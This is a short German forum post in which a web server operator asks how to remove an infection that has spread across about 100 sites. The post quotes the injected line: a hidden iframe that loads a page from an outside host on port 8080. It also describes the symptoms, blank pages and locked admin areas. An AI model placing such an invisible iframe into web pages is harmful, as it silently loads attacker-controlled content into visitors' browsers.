Halloechen,
<iframe src="http://q1w.ru:8080/index.php" width=170 height=200 style="visibility: hidden"></iframe>
diesen Befehl schreibt der Virus in jede index.php oder index.html Datei auf dem web und man kann die Domain nicht mehr aufrufen, bezw. erscheint nur noch eine weiße Seite.
Auch der Adminbereich ist davon betroffen sodass man sich nicht mehr in den Adminbereich einloggen kann.
Mittlerweile sind nicht nur Blogseiten auf dem Server betroffen, sondern auch nicht WP Webseiten.
Hat jemand von Euch einen Tip wie man das eventuell entfernen kann ohne den kompletten Server neu installieren zu lassen, was bei gut 100 Webs eine menge Arbeit bedeutet mit Webs neu anzulegen? Ich such schon seit 3 Tagen und komm auf keinen grünen Zweig! Vielen Dank fürs lesen und eventuelle Mühen fürs Antworten!